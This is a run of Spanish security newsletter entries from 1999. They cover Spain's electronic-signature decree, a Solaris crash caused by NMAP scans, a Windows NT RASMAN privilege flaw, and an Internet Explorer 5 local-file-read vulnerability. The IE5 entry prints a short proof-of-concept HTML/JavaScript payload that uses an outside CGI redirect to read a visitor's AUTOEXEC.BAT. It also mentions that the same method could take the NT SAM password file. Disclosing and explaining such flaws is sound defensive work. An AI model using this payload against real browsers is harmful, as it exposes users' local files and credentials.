Gobierno, por Real Decreto, podrá reducir el citado porcentaje hasta
el 2 por 100. En caso de que no se limite el importe de las
transacciones en las que puedan emplearse al conjunto de los
certificados que emita el prestador de servicios de certificación, la
garantía a constituir cubrirá, al menos, su responsabilidad por un
importe de 1.000.000.000 de pesetas (6.010.121,04 euros). El Gobierno,
por Real Decreto, podrá modificar el referido importe".

Este artículo define claramente la responsabilidad civil de los
prestadores de servicios de certificación, hasta ahora muy imprecisa,
y por lo tanto elemento que retraía su despliegue. Los usuarios de
certificados y de firmas digitales saben así (es deber del PSC
informarles) a qué atenerse en caso de que existan irregularidades con
sus firmas, de las cuales se demuestre la responsabilidad del PSC,
bien por negligencia, bien por algún fallo de seguridad o técnico en
sus equipos.

Se incorpora además una novedad en el texto, para permitir que la
certificación pueda recoger la fecha y la hora en la que se produce la
actividad certificante. Piénsese que, en muchas situaciones, el mero
hecho de saber que un documento fue firmado no es suficiente, ya que
se necesita poseer constancia de la fecha y hora de la firma. Esta
circunstancia se vuelve especialmente evidente en el caso de que un
certificado haya sido revocado, para saber si un documento fue firmado
antes o después de la inutilización del certificado del signatario.

También se presta especial atención a los datos personales de los
solicitantes de certificados manipulados por los PSC, que se sujetan a
lo dispuesto en la LORTAD y en las disposiciones dictadas en su
desarrollo.

Resumiendo, la firma electrónica proporciona un abanico importante de
servicios, como autenticación, integridad, no repudio, auditabilidad,
que dotan a los documentos electrónicos así firmados de una validez
legal y responsabilidad civil equivalentes a las de la firma
manuscrita sobre documentos en papel. Las consecuencias de la rápida
adopción de la inminente reglamentación en materia de firma
electrónica serán la dinamización del comercio electrónico y
agilización de las transacciones financieras y de todo tipo. Se prevé
que este Decreto-Ley se transforme en otro agente impulsor del
desarrollo de la sociedad de la información, en la medida en que
contribuye a fomentar la adopción de técnicas digitales y de
tecnologías de la información y comunicaciones en sustitución de las
anticuadas y lentas gestiones rellenando formularios, albaranes,
contratos en papel y demás procesos que hasta el momento se venían
haciendo de forma manual con medios físicos.

Los retos inmediatos a que se enfrenta España son la creación de una
estructura de certificación sólida, mediante la progresiva
consolidación de los PSC existentes y exploración de nuevos árboles de
certificación. Por otro lado, las empresas deben recoger el testigo y
familiarizarse con las tecnologías de PKI y certificados digitales
para aumentar la seguridad global de sus negocios y dar el paso hacia
la gestión digital de su burocracia interna, con otras empresas y con
la Administración. Se trata de un esfuerzo común, en el que todos
tomamos parte. La aceptación social y cobertura legal de las firmas
electrónicas pavimentará sin duda la carretera hacia la nueva
revolución de la información.

Más información:
Texto completo del Decreto-Ley en



Gonzalo Álvarez Marañón
criptonomicon@iec.csic.es
Boletín Criptonomicón #56
http://www.iec.csic.es/criptonomicon



lunes, 4 de octubre de 1999

España, a la vanguardia de las firmas electrónicas (I)

Primera entrega de un artículo donde se abordan los fundamentos
básicos sobre la firma electrónica, destacando los puntos más
importantes del reciente Decreto-Ley que regula esta tecnología
en España.
En España siempre nos ha gustado regodearnos en la idea de que somos
los más atrasados de Europa, de que vivimos en un país de chirigota y
pandereta, donde son siempre los otros (los alemanes, los ingleses,
los nórdicos), los que impulsan los avances tecnológicos a los que con
retraso nos apuntamos años después chapuceramente.

Cuadro falso o retrato acertado, lo cierto es que en materia de
seguridad y criptografía, España está protagonizando una serie de
iniciativas para proteger la seguridad y la intimidad en las
comunicaciones telemáticas que la sitúan a la cabeza de Europa, si no
del mundo, como atestiguó en primavera la experiencia pionera de
declaración de renta a través de Internet. El Real Decreto-Ley 14/1999
de 17 de septiembre sobre firma electrónica viene a ratificar este
deseo de acelerar la introducción y rápida difusión de esta tecnología
criptográfica de clave pública, así como de dotar de la adecuada
seguridad jurídica a las firmas digitales con el fin último de
espolear el desarrollo de la sociedad de la información en nuestro
país.

En palabras del propio Decreto-Ley, éste "persigue, respetando el
contenido de la posición común respecto de la Directiva sobre firma
electrónica, establecer una regulación clara del uso de ésta,
atribuyéndole eficacia jurídica y previendo el régimen aplicable a los
prestadores de servicios de certificación. Determina el registro en el
que habrán de inscribirse los prestadores de servicios de
certificación y el régimen de inspección administrativa de su
actividad, regula la expedición y la pérdida de eficacia de los
certificados y tipifica las infracciones y las sanciones que se prevén
para garantizar su cumplimiento".

A continuación, merece la pena realizar algunas aclaraciones que
eluciden lo que el texto recoge. Para el profano, baste decir que por
firma electrónica, según definición recogida en el Decreto-Ley, se
entiende "el conjunto de datos, en forma electrónica, anejos a otros
datos electrónicos o asociados funcionalmente con ellos, utilizados
como medio para identificar formalmente al autor o a los autores del
documento que la recoge". A continuación se proporciona otra
definición, más acorde con la idea común que se tiene de firma digital
basada en PKI, concepto que de forma general denomina el texto firma
electrónica avanzada: "la firma electrónica que permite la
identificación del signatario y ha sido creada por medios que éste
mantiene bajo su exclusivo control, de manera que está vinculada
únicamente al mismo y a los datos a los que se refiere, lo que permite
que sea detectable cualquier modificación ulterior de éstos". Por
signatario se entiende "la persona física que cuenta con un
dispositivo de creación de firma y que actúa en nombre propio o en el
de una persona física o jurídica a la que representa".

En definitiva, ¿qué valor tiene la firma electrónica? Según las
definiciones anteriores, se deduce que la firma permite identificar
unívocamente al signatario, es decir, proporciona el servicio de
autenticación (verificación de la identidad del firmante para estar
seguro de que fue él y no otro el autor del documento) y de no repudio
(seguridad de que el autor del documento no puede retractarse en el
futuro de las opiniones o acciones consignadas en él). Además, la
firma permite que sea detectada cualquier modificación de los datos
firmados, proporcionando así una garantía de integridad ante
alteraciones fortuitas o deliberadas durante la transmisión y
manipulación telemática del documento firmado. El hecho de que la
firma haya sido creada por el signatario mediante medios que mantiene
bajo su propio control (su clave privada protegida, por ejemplo, por
una contraseña, datos biométricos, una tarjeta chip, etc.) asegura,
además, la imposibilidad de su suplantación. Así, en el caso de la
utilización de firmas digitales para acceder a servicios de red o
autenticarse ante servidores, se previenen ataques comunes de
captación de contraseñas mediante el uso de analizadores de protocolos
o la ejecución de reventadores de contraseñas.

Otro concepto criptográfico directamente vinculado con el de firma
digital es el de certificado, que según el Decreto-Ley "es la
certificación electrónica que vincula unos datos de verificación de
firma a un signatario y confirma su identidad". No es otra cosa que la
vinculación de la clave pública del signatario con su identidad real
verificada fehacientemente por el prestador de servicios de
certificación . Una definición fuerte del mismo es lo que se denomina
certificado reconocido, es decir, "el certificado que contiene la
información descrita en el artículo 8 y es expedido por un prestador
de servicios de certificación que cumple los requisitos enumerados en
el artículo 12".

Los prestadores de servicios de certificación (PSC) anteriormente
referidos son la "persona física o jurídica que expide certificados,
pudiendo prestar, además, otros servicios en relación con la firma
electrónica". En otras palabras, lo que normalmente se entiende por
autoridades de certificación (AC), al estilo de VeriSign
(www.verisign.com) o ACE (www.ace.es) o FESTE (www.feste.com) en
España. Se contempla que cualquier entidad u organización pública o
privada se constituya en PSC, fomentando así la libre competencia
también en este ámbito.




Gonzalo Álvarez Marañón
criptonomicon@iec.csic.es
Boletín Criptonomicón #56
http://www.iec.csic.es/criptonomicon



domingo, 3 de octubre de 1999

Vulnerabilidad Solaris ante rastreos con NMAP

El sistema operativo Solaris muere con un "panic" por "Bad Trap" cuando
la máquina es analizada con la popular herramienta NMAP, usando la
opción de identificar la versión del sistema operativo.
El sistema operativo fallará cuando el análisis se realiza sobre un
puerto activo (con una aplicación en él) y luego dicha aplicación muere
o cierra el puerto. Debido a la diferencia temporal entre el momento en
que se produce el rastreo NMAP y el momento en que se mata el servicio,
la causa no es evidente. La muerte del servicio puede ser por causas
naturales y perfectamente normales como, por ejemplo, una
reinicialización periódica o la instalación de una versión actualizada.

Al parecer el problema se debe a una llamada recursiva a "mutex_enter"
dentro del driver TCP/IP, y SUN ha asignado al bug el identificador
4178455. Los parches están disponibles desde hace tiempo, pero
inexplicablemente SUN no ha emitido ningún boletín advirtiendo de este
gravísimo problema.

Los usuarios corporativos que tengan un contrato de SunSpectrum y se
preocupen de instalar los nuevos parches cada vez que reciben los
CDROMs, estarán seguros, pero aquellos que prefieran actualizar cada
cierto tiempo y sólo cuando existan riesgos de seguridad, muy
probablemente serán vulnerables, al no haber sido informados sobre este
grave bug. Teniendo en cuenta que el ataque se realiza de forma remota,
la actualización debería ser urgente.

Los parches relevantes son:


Versión Solaris Parche

7 (2.7) Sparc 106541-07 o superior
7 (2.7) Intel 106542

2.6 Sparc 105529-08 o superior
2.6 Intel 105530

2.5.1 Sparc 103582-20 o superior
2.5.1 Intel 103581
2.5.1 Power PC 103583

Más información:
Solaris Recursive mutex_enter Panic Vulnerability
Sun Security Bulletin Archive
Parches Solaris públicos



Jesús Cea Avión
jcea@argo.es
http://www.argo.es/~jcea/



sábado, 2 de octubre de 1999

Nuevo parche de Microsoft para Windows NT

Una vulnerabilidad en Administrador de Acceso Remoto de Windows
NT obliga a Microsoft a publicar un nuevo parche que corrija los
eventuales ataques que pueden llegar a causar la obtención de
privilegios de administración por parte del usuario malicioso.
El usuario malicioso puede explotar esta vulnerabilidad para
obtener un aumento en los privilegios inicialmente otorgados a su
cuenta de acceso. El usuario puede provocar la ejecución de
código malicioso en vez del Administrador de Acceso Remoto,
también conocido como RASMAN que se ejecutara con los privilegios
de seguridad más elevados. Con ello, el atacante puede realizar
cualquier acción maliciosa cobre el sistema atacado.

El fallo principal radica en el descriptor de seguridad del
ejecutable RASMAN.EXE, que contiene un ACE en su DACL que
permitiría a un usuario cualquiera acceder a él, pero vayamos por
parte. El Servicio de Acceso Remoto (RAS), como sabemos, consta
de unos servidores que identifican las llamadas de los clientes y
proporciona acceso según los privilegios de las cuentas con las
que se autentifican.

Por otro lado, recordemos que los descriptores de seguridad son
atributos configurables a cada objeto en Windows NT, una especie
de registro donde se almacena información sobre quien puede
acceder al objeto y con que privilegios. Dentro de un descriptor
de seguridad podemos encontrar la Lista de Control de Acceso
Discrecional (DACL), dentro de la cual existirán una o más
Entradas de Control de Acceso (ACE).

Cuando un usuario accede a Windows NT se autentifica mediante su
nombre y contraseña, con lo que el sistema genera un testigo de
acceso que identifica al usuario en cualquier proceso de éste. En
el testigo se encuentra su Identificador de Usuario (SID), cuando
un usuario quiere acceder a un fichero, el sistema comprueba el
SID con las entradas ACE en la lista DACL para establecer si
tiene los privilegios suficientes.

Las propias condiciones de la vulnerabilidad hacen que para poder
explotarla el atacante debe estar autentificado en el sistema, es
decir, debe acceder a la máquina mediante un nombre de usuario y
password válido. Para eliminar todos los problemas asociados con
esta vulnerabilidad Microsoft publica una herramienta que debe
ejecutarse en todas las estaciones susceptibles de ser atacadas.
Para facilitar la labor de los administradores, la utilidad se
puede ejecutar desde un servidor de forma que se instale en los
puestos de red indicados.

Más información:
Parche
Boletín de seguridad
Preguntas y respuestas sobre la vulnerabilidad



Antonio Ropero



viernes, 1 de octubre de 1999

Vulnerabilidad "Download Behavior" en Internet Explorer 5 (II)

Como explicamos en el boletín anterior, esta vulnerabilidad permite
a un sitio web leer ficheros locales de los usuarios que visitan sus
páginas con Internet Explorer 5. En esta entrega conoceremos, a
través de su código, como Georgi Guninski burla las restricciones de
seguridad impuestas por Microsoft y demuestra la vulnerabilidad.

---
<SCRIPT>
function doit(s)
{
alert ("Here is your file:\n"+s);
}
</SCRIPT>
<A ID="oD" STYLE="behavior:url(#default#download)"
HREF="javascript:oD.startDownload('http://www.nat.bg/~joro/reject.cgi?autoexec',
doit)">Click here to read C:\AUTOEXEC.BAT</A>
---

En primer lugar nos encontramos con la función "doit", la parte
de código situado entre las etiquetas "SCRIPT", cuya misión es
mostrar en una ventana el contenido que se le pasa como parametro.
En el código de Georgi será la encargada de visualizar el
contenido del fichero AUTOEXEC.BAT que sirve como demostración de
la vulnerabilidad.

A continuación nos encontramos con un enlace donde se declara el
uso del "download behavior" a través de la técnica denominada
"estilo en línea", utilizada en la definición de hojas de estilo
en cascada para una determinada etiqueta. La referencia de este
enlace hace uso del método javascript "startDownload" importado
gracias a la declaración anterior. A este método hay que pasar dos
parametros, el fichero que hay que descargar y una función a la que
llama y pasa el contenido una vez se ha terminado el proceso de
descarga.

Como podemos ver en el código, Georgi pasa como primer parametro
una dirección que apunta a un CGI en su servidor, con lo que cumple
las reglas impuestas por Microsoft ya que el "fichero" pertenece al
mismo servidor del que proviene la página. Una vez pasada esta
verificación, el proceso se pone en marcha, llama al CGI, y este a
su vez redirige la peticción HTTP al fichero AUTOEXEC.BAT del
sistema del usuario. Por último, una vez se ha producido la
descarga, llama a la función "doit" que como ya indicamos se limita
a mostrar el contenido. La vulnerabilidad queda demostrada.

Aquellos usuarios de Internet Explorer 5 que quieran probarla tan
sólo han de vistar la web de Georgi Guninski en
http://www.nat.bg/~joro/download2.html y pinchar en el enlace
"Click here to read C:\AUTOEXEC.BAT" situado al final de la página.
El resultado será una ventana de alerta con el contenido del
fichero AUTOEXEC.BAT situado en el raiz de su unidad C:.

Microsoft hace hincapié en que esta vulnerabilidad no permite la
creación o modificación de ficheros de forma remota, tan solo la
lectura de ficheros de los que se debe conocer tanto el nombre como
la ubicación exacta por parte del atacante. Si bien es cierto, este
hecho no minimiza la gravedad del problema, debemos de recordar que
hay muchos ficheros nombrados y ubicados por defecto que contienen
información muy sensible que facilitaría ataques de mayor
importancia.

Como ejemplo, en los sistemas Windows NT se podría utilizar esta
vulnerabilidad para acceder al fichero "c:\winnt\repair\sam._",
copia del administrador de cuentas de seguridad (SAM) que almacena
la información sobre los usuarios y sus contraseñas. Aunque el
fichero utiliza un sistema de cifrado, existen utilidades para
lograr averiguar las contraseñas en un escaso margen de tiempo,
con lo que podríamos conseguir derechos de Administador y, por
tanto, el control total del sistema.

Más información:
Microsoft - Boletín (MS99-040)
Microsoft - FAQ (MS99-040)
Demostración por Georgi Guninski
SecurityFocus



Bernardo Quintero